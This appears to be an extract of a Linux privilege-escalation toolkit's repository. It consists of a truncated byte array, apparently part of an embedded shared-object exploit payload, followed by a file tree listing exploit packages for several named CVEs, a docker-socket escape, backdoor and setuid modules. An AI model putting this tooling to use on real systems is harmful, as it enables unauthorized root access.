0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
47, 117, 115, 114, 47, 98, 105, 110, 47, 116, 114, 117, 101, 0, 0, 0,
80, 65, 84, 72, 61, 47, 117, 115, 114, 47, 108, 111, 99, 97, 108, 47,
115, 98, 105, 110, 58, 47, 117, 115, 114, 47, 108, 111, 99, 97, 108
gitextract_h4e8y7u2/
├── .github/
│ ├── FUNDING.yml
│ └── workflows/
│ ├── antispam.yml
│ ├── pr.yml
│ └── release.yml
├── .gitignore
├── LICENSE
├── Makefile
├── README.md
├── cmd/
│ ├── pack/
│ │ └── main.go
│ └── traitor/
│ └── main.go
├── go.mod
├── go.sum
├── internal/
│ ├── cmd/
│ │ ├── backdoor.go
│ │ ├── list.go
│ │ ├── root.go
│ │ └── setuid.go
│ ├── pipe/
│ │ └── pipe.go
│ └── version/
│ └── version.go
├── pkg/
│ ├── backdoor/
│ │ └── traitor.go
│ ├── exploits/
│ │ ├── all.go
│ │ ├── cve20213560/
│ │ │ └── exploit.go
│ │ ├── cve20214034/
│ │ │ ├── exploit.go
│ │ │ ├── sharedobject_sh_386.go
│ │ │ ├── sharedobject_sh_amd64.go
│ │ │ ├── sharedobject_sh_arm64.go
│ │ │ ├── sharedobject_true_386.go
│ │ │ ├── sharedobject_true_amd64.go
│ │ │ └── sharedobject_true_arm64.go
│ │ ├── cve20220847/
│ │ │ └── exploit.go
│ │ ├── dockersock/
│ │ │ └── exploit.go
│ │ ├── gtfobins.go
│ │ ├── registration.go
│ │ └── types.go
│ ├── logger/
│ │ └── logger.go
│ ├── payloads/
│ │ └── payloads.go
│ ├── random/
│ │ └── filename.go
│ ├── shell/
│ │ └── password.go
│ └── state/
│ ├── distro.go
│ ├── kernel.go
│ ├── packages.go
│ ├── state.go
│ └── sudoers.go
└── vendor/
├── github.com/
│ ├── creack/
│ │ └── pty/
│ │ ├── .gitignore
│ │ ├── Dockerfile.golang
│ │ ├── Dockerfile.riscv
│ │ ├── LICENSE
│ │ ├── README.md
│ │ ├── asm_solaris_amd64.s
│ │ ├── doc.go
│ │ ├── ioctl.go
│ │ ├── ioctl_bsd.go
│ │ ├── ioctl_solaris.go
│ │ ├── ioctl_unsupported.go
│ │ ├── mktypes.bash
│ │ ├── pty_darwin.go
│ │ ├── pty_dragonfly.go
│ │ ├── pty_freebsd.go
│ │ ├── pty_linux.go
│ │ ├── pty_netbsd.go
│ │ ├── pty_openbsd.go
│ │ ├── pty_solaris.go
│ │ ├── pty_unsupported.go
│ │ ├── run.go
│ │ ├── start.go
│ │ ├── start_windows.go
│ │ ├── test_crosscompile.sh
│ │ ├── winsize.go
│ │ ├── winsize_unix.go
│ │ ├── winsize_unsupported.go
│ │ ├── ztypes_386.go
│ │ ├── ztypes_amd64.go
│ │ ├── ztypes_arm.go
│ │ ├── ztypes_arm64.go
│ │ ├── ztypes_dragonfly_amd64.go
│ │ ├── ztypes_freebsd_386.go
│ │ ├── ztypes_freebsd_amd64.go
│ │ ├── ztypes_freebsd_arm.go
│ │ ├── ztypes_freebsd_arm64.go
│ │ ├── ztypes_freebsd_ppc64.go
│ │ ├── ztypes_loong64.go
│ │ ├── ztypes_mipsx.go
│ │ ├── ztypes_netbsd_32bit_int.go
│ │ ├── ztypes_openbsd_32bit_int.go
│ │ ├── ztypes_ppc64.go
│ │ ├── ztypes_ppc64le.go
│ │ ├── ztypes_riscvx.go
│ │ └── ztypes_s390x.go
│ ├── google/
│ │ └── uuid/
│ │ ├── .travis.yml
│ │ ├── CONTRIBUTING.md
│ │ ├── CONTRIBUTORS
│ │ ├── LICENSE
│ │ ├── README.md
│ │ ├── dce.go
│ │ ├── doc.go
│ │ ├── hash.go
│ │ ├── marshal.go
│ │ ├── node.go
│ │ ├── node_js.go
│ │ ├── node_net.go
│ │ ├── null.go
│ │ ├── sql.go
│ │ ├── time.go
│ │ ├── util.go
│ │ ├── uuid.go
│ │ ├── version1.go
│ │ └── version4.go
│ ├── hashicorp/
│ │ └── go-version/
│ │ ├── CHANGELOG.md
│ │ ├── LICENSE
│ │ ├── README.md
│ │ ├── constraint.go
│ │ ├── version.go
│ │ └── version_collection.go
│ ├── inconshreveable/
│ │ └── mousetrap/
│ │ ├── LICENSE
│ │ ├── README.md
│ │ ├── trap_others.go
│ │ ├── trap_windows.go
│ │ └── trap_windows_1.4.go
│ ├── liamg/
│ │ └── tml/
│ │ ├── .gitignore
│ │ ├── .travis.yml
│ │ ├── LICENSE
│ │ ├── Makefile
│ │ ├── README.md
│ │ ├── disable.go
│ │ ├── new_line.go
│ │ ├── parse.go
│ │ ├── parser.go
│ │ ├── printf.go
│ │ ├── println.go
│ │ ├── sprintf.go
│ │ └── tags.go
│ └── spf13/
│ ├── cobra/
│ │ ├── .gitignore
│ │ ├── .golangci.yml
│ │ ├── .mailmap
│ │ ├── CONDUCT.md
│ │ ├── CONTRIBUTING.md
│ │ ├── LICENSE.txt
│ │ ├── MAINTAINERS
│ │ ├── Makefile
│ │ ├── README.md
│ │ ├── active_help.go
│ │ ├── active_help.md
│ │ ├── args.go
│ │ ├── bash_completions.go
│ │ ├── bash_completions.md
│ │ ├── bash_completionsV2.go
│ │ ├── cobra.go
│ │ ├── command.go
│ │ ├── command_notwin.go
│ │ ├── command_win.go
│ │ ├── completions.go
│ │ ├── fish_completions.go
│ │ ├── fish_completions.md
│ │ ├── flag_groups.go
│ │ ├── powershell_completions.go
│ │ ├── powershell_completions.md
│ │ ├── projects_using_cobra.md
│ │ ├── shell_completions.go
│ │ ├── shell_completions.md
│ │ ├── user_guide.md
│ │ ├── zsh_completions.go
│ │ └── zsh_completions.md
│ └── pflag/
│ ├── .gitignore
│ ├── .travis.yml
│ ├── LICENSE
│ ├── README.md
│ ├── bool.go
│ ├── bool_slice.go
│ ├── bytes.go
│ ├── count.go
│ ├── duration.go
│ ├── duration_slice.go
│ ├── flag.go
│ ├── float32.go
│ ├── float32_slice.go
│ ├── float64.go
│ ├── float64_slice.go
│ ├── golangflag.go
│ ├── int.go
│ ├── int16.go
│ ├── int32.go
│ ├── int32_slice.go
│ ├── int64.go
│ ├── int64_slice.go
│ ├── int8.go
│ ├── int_slice.go
│ ├── ip.go
│ ├── ip_slice.go
│ ├── ipmask.go
│ ├── ipnet.go
│ ├── string.go
│ ├── string_array.go
│ ├── string_slice.go
│ ├── string_to_int.go
│ ├── string_to_int64.go
│ ├── string_to_string.go
│ ├── uint.go
│ ├── uint16.go
│ ├── uint32.go
│ ├── uint64.go
│ ├── uint8.go
│ └── uint_slice.go
├── golang.org/
│ └── x/
│ ├── crypto/
│ │ ├── AUTHORS
│ │ ├── CONTRIBUTORS
│ │ ├── LICENSE
│ │ ├── PATENTS
│ │ └── ssh/
│ │ └── terminal/
│ │ └── terminal.go
│ ├── sys/
│ │ ├── AUTHORS
│ │ ├── CONTRIBUTORS
│ │ ├── LICENSE
│ │ ├── PATENTS
│ │ ├── internal/
│ │ │ └── unsafeheader/
│ │ │ └── unsafeheader.go
│ │ ├── plan9/
│ │ │ ├── asm.s
│ │ │ ├── asm_plan9_386.s
│ │ │ ├── asm_plan9_amd64.s
│ │ │ ├── asm_plan9_arm.s
│ │ │ ├── const_plan9.go
│ │ │ ├── dir_plan9.go
│ │ │ ├── env_plan9.go
│ │ │ ├── errors_plan9.go
│ │ │ ├── mkall.sh
│ │ │ ├── mkerrors.sh
│ │ │ ├── mksysnum_plan9.sh
│ │ │ ├── pwd_go15_plan9.go
│ │ │ ├── pwd_plan9.go
│ │ │ ├── race.go
│ │ │ ├── race0.go
│ │ │ ├── str.go
│ │ │ ├── syscall.go
│ │ │ ├── syscall_plan9.go
│ │ │ ├── zsyscall_plan9_386.go
│ │ │ ├── zsyscall_plan9_amd64.go
│ │ │ ├── zsyscall_plan9_arm.go
│ │ │ └── zsysnum_plan9.go
│ │ ├── unix/
│ │ │ ├── .gitignore
│ │ │ ├── README.md
│ │ │ ├── affinity_linux.go
│ │ │ ├── aliases.go
│ │ │ ├── asm_aix_ppc64.s
│ │ │ ├── asm_bsd_386.s
│ │ │ ├── asm_bsd_amd64.s
│ │ │ ├── asm_bsd_arm.s
│ │ │ ├── asm_bsd_arm64.s
│ │ │ ├── asm_linux_386.s
│ │ │ ├── asm_linux_amd64.s
│ │ │ ├── asm_linux_arm.s
│ │ │ ├── asm_linux_arm64.s
│ │ │ ├── asm_linux_loong64.s
│ │ │ ├── asm_linux_mips64x.s
│ │ │ ├── asm_linux_mipsx.s
│ │ │ ├── asm_linux_ppc64x.s
│ │ │ ├── asm_linux_riscv64.s
│ │ │ ├── asm_linux_s390x.s
│ │ │ ├── asm_openbsd_mips64.s
│ │ │ ├── asm_solaris_amd64.s
│ │ │ ├── asm_zos_s390x.s
│ │ │ ├── bluetooth_linux.go
│ │ │ ├── cap_freebsd.go
│ │ │ ├── constants.go
│ │ │ ├── dev_aix_ppc.go
│ │ │ ├── dev_aix_ppc64.go
│ │ │ ├── dev_darwin.go
│ │ │ ├── dev_dragonfly.go
│ │ │ ├── dev_freebsd.go
│ │ │ ├── dev_linux.go
│ │ │ ├── dev_netbsd.go
│ │ │ ├── dev_openbsd.go
│ │ │ ├── dev_zos.go
│ │ │ ├── dirent.go
│ │ │ ├── endian_big.go
│ │ │ ├── endian_little.go
│ │ │ ├── env_unix.go
│ │ │ ├── epoll_zos.go
│ │ │ ├── errors_freebsd_386.go
│ │ │ ├── errors_freebsd_amd64.go
│ │ │ ├── errors_freebsd_arm.go
│ │ │ ├── errors_freebsd_arm64.go
│ │ │ ├── fcntl.go
│ │ │ ├── fcntl_darwin.go
│ │ │ ├── fcntl_linux_32bit.go
│ │ │ ├── fdset.go
│ │ │ ├── fstatfs_zos.go
│ │ │ ├── gccgo.go
│ │ │ ├── gccgo_c.c
│ │ │ ├── gccgo_linux_amd64.go
│ │ │ ├── ifreq_linux.go
│ │ │ ├── ioctl.go
│ │ │ ├── ioctl_linux.go
│ │ │ ├── ioctl_zos.go
│ │ │ ├── mkall.sh
│ │ │ ├── mkerrors.sh
│ │ │ ├── pagesize_unix.go
│ │ │ ├── pledge_openbsd.go
│ │ │ ├── ptrace_darwin.go
│ │ │ ├── ptrace_ios.go
│ │ │ ├── race.go
│ │ │ ├── race0.go
│ │ │ ├── readdirent_getdents.go
│ │ │ ├── readdirent_getdirentries.go
│ │ │ ├── sockcmsg_dragonfly.go
│ │ │ ├── sockcmsg_linux.go
│ │ │ ├── sockcmsg_unix.go
│ │ │ ├── sockcmsg_unix_other.go
│ │ │ ├── str.go
│ │ │ ├── syscall.go
│ │ │ ├── syscall_aix.go
│ │ │ ├── syscall_aix_ppc.go
│ │ │ ├── syscall_aix_ppc64.go
│ │ │ ├── syscall_bsd.go
│ │ │ ├── syscall_darwin.1_12.go
│ │ │ ├── syscall_darwin.1_13.go
│ │ │ ├── syscall_darwin.go
│ │ │ ├── syscall_darwin_amd64.go
│ │ │ ├── syscall_darwin_arm64.go
│ │ │ ├── syscall_darwin_libSystem.go
│ │ │ ├── syscall_dragonfly.go
│ │ │ ├── syscall_dragonfly_amd64.go
│ │ │ ├── syscall_freebsd.go
│ │ │ ├── syscall_freebsd_386.go
│ │ │ ├── syscall_freebsd_amd64.go
│ │ │ ├── syscall_freebsd_arm.go
│ │ │ ├── syscall_freebsd_arm64.go
│ │ │ ├── syscall_illumos.go
│ │ │ ├── syscall_linux.go
│ │ │ ├── syscall_linux_386.go
│ │ │ ├── syscall_linux_alarm.go
│ │ │ ├── syscall_linux_amd64.go
│ │ │ ├── syscall_linux_amd64_gc.go
│ │ │ ├── syscall_linux_arm.go
│ │ │ ├── syscall_linux_arm64.go
│ │ │ ├── syscall_linux_gc.go
│ │ │ ├── syscall_linux_gc_386.go
│ │ │ ├── syscall_linux_gc_arm.go
│ │ │ ├── syscall_linux_gccgo_386.go
│ │ │ ├── syscall_linux_gccgo_arm.go
│ │ │ ├── syscall_linux_loong64.go
│ │ │ ├── syscall_linux_mips64x.go
│ │ │ ├── syscall_linux_mipsx.go
│ │ │ ├── syscall_linux_ppc.go
│ │ │ ├── syscall_linux_ppc64x.go
│ │ │ ├── syscall_linux_riscv64.go
│ │ │ ├── syscall_linux_s390x.go
│ │ │ ├── syscall_linux_sparc64.go
│ │ │ ├── syscall_netbsd.go
│ │ │ ├── syscall_netbsd_386.go
│ │ │ ├── syscall_netbsd_amd64.go
│ │ │ ├── syscall_netbsd_arm.go
│ │ │ ├── syscall_netbsd_arm64.go
│ │ │ ├── syscall_openbsd.go
│ │ │ ├── syscall_openbsd_386.go
│ │ │ ├── syscall_openbsd_amd64.go
│ │ │ ├── syscall_openbsd_arm.go
│ │ │ ├── syscall_openbsd_arm64.go
│ │ │ ├── syscall_openbsd_mips64.go
│ │ │ ├── syscall_solaris.go
│ │ │ ├── syscall_solaris_amd64.go
│ │ │ ├── syscall_unix.go
│ │ │ ├── syscall_unix_gc.go
│ │ │ ├── syscall_unix_gc_ppc64x.go
│ │ │ ├── syscall_zos_s390x.go
│ │ │ ├── sysvshm_linux.go
│ │ │ ├── sysvshm_unix.go
│ │ │ ├── sysvshm_unix_other.go
│ │ │ ├── timestruct.go
│ │ │ ├── unveil_openbsd.go
│ │ │ ├── xattr_bsd.go
│ │ │ ├── zerrors_aix_ppc.go
│ │ │ ├── zerrors_aix_ppc64.go
│ │ │ ├── zerrors_darwin_amd64.go
│ │ │ ├── zerrors_darwin_arm64.go
│ │ │ ├── zerrors_dragonfly_amd64.go
│ │ │ ├── zerrors_freebsd_386.go
│ │ │ ├── zerrors_freebsd_amd64.go
│ │ │ ├── zerrors_freebsd_arm.go
│ │ │ ├── zerrors_freebsd_arm64.go
│ │ │ ├── zerrors_linux.go
│ │ │ ├── zerrors_linux_386.go
│ │ │ ├── zerrors_linux_amd64.go
│ │ │ ├── zerrors_linux_arm.go
│ │ │ ├── zerrors_linux_arm64.go
│ │ │ ├── zerrors_linux_loong64.go
│ │ │ ├── zerrors_linux_mips.go
│ │ │ ├── zerrors_linux_mips64.go
│ │ │ ├── zerrors_linux_mips64le.go
│ │ │ ├── zerrors_linux_mipsle.go
│ │ │ ├── zerrors_linux_ppc.go
│ │ │ ├── zerrors_linux_ppc64.go
│ │ │ ├── zerrors_linux_ppc64le.go
│ │ │ ├── zerrors_linux_riscv64.go
│ │ │ ├── zerrors_linux_s390x.go
│ │ │ ├── zerrors_linux_sparc64.go
│ │ │ ├── zerrors_netbsd_386.go
│ │ │ ├── zerrors_netbsd_amd64.go
│ │ │ ├── zerrors_netbsd_arm.go
│ │ │ ├── zerrors_netbsd_arm64.go
│ │ │ ├── zerrors_openbsd_386.go
│ │ │ ├── zerrors_openbsd_amd64.go
│ │ │ ├── zerrors_openbsd_arm.go
│ │ │ ├── zerrors_openbsd_arm64.go
│ │ │ ├── zerrors_openbsd_mips64.go
│ │ │ ├── zerrors_solaris_amd64.go
│ │ │ ├── zerrors_zos_s390x.go
│ │ │ ├── zptrace_armnn_linux.go
│ │ │ ├── zptrace_linux_arm64.go
│ │ │ ├── zptrace_mipsnn_linux.go
│ │ │ ├── zptrace_mipsnnle_linux.go
│ │ │ ├── zptrace_x86_linux.go
│ │ │ ├── zsyscall_aix_ppc.go
│ │ │ ├── zsyscall_aix_ppc64.go
│ │ │ ├── zsyscall_aix_ppc64_gc.go
│ │ │ ├── zsyscall_aix_ppc64_gccgo.go
│ │ │ ├── zsyscall_darwin_amd64.1_13.go
│ │ │ ├── zsyscall_darwin_amd64.1_13.s
│ │ │ ├── zsyscall_darwin_amd64.go
│ │ │ ├── zsyscall_darwin_amd64.s
│ │ │ ├── zsyscall_darwin_arm64.1_13.go
│ │ │ ├── zsyscall_darwin_arm64.1_13.s
│ │ │ ├── zsyscall_darwin_arm64.go
│ │ │ ├── zsyscall_darwin_arm64.s
│ │ │ ├── zsyscall_dragonfly_amd64.go
│ │ │ ├── zsyscall_freebsd_386.go
│ │ │ ├── zsyscall_freebsd_amd64.go
│ │ │ ├── zsyscall_freebsd_arm.go
│ │ │ ├── zsyscall_freebsd_arm64.go
│ │ │ ├── zsyscall_illumos_amd64.go
│ │ │ ├── zsyscall_linux.go
│ │ │ ├── zsyscall_linux_386.go
│ │ │ ├── zsyscall_linux_amd64.go
│ │ │ ├── zsyscall_linux_arm.go
│ │ │ ├── zsyscall_linux_arm64.go
│ │ │ ├── zsyscall_linux_loong64.go
│ │ │ ├── zsyscall_linux_mips.go
│ │ │ ├── zsyscall_linux_mips64.go
│ │ │ ├── zsyscall_linux_mips64le.go
│ │ │ ├── zsyscall_linux_mipsle.go
│ │ │ ├── zsyscall_linux_ppc.go
│ │ │ ├── zsyscall_linux_ppc64.go
│ │ │ ├── zsyscall_linux_ppc64le.go
│ │ │ ├── zsyscall_linux_riscv64.go
│ │ │ ├── zsyscall_linux_s390x.go
│ │ │ ├── zsyscall_linux_sparc64.go
│ │ │ ├── zsyscall_netbsd_386.go
│ │ │ ├── zsyscall_netbsd_amd64.go
│ │ │ ├── zsyscall_netbsd_arm.go
│ │ │ ├── zsyscall_netbsd_arm64.go
│ │ │ ├── zsyscall_openbsd_386.go
│ │ │ ├── zsyscall_openbsd_amd64.go
│ │ │ ├── zsyscall_openbsd_arm.go
│ │ │ ├── zsyscall_openbsd_arm64.go
│ │ │ ├── zsyscall_openbsd_mips64.go
│ │ │ ├── zsyscall_solaris_amd64.go
│ │ │ ├── zsyscall_zos_s390x.go
│ │ │ ├── zsysctl_openbsd_386.go
│ │ │ ├── zsysctl_openbsd_amd64.go
│ │ │ ├── zsysctl_openbsd_arm.go
│ │ │ ├── zsysctl_openbsd_arm64.go
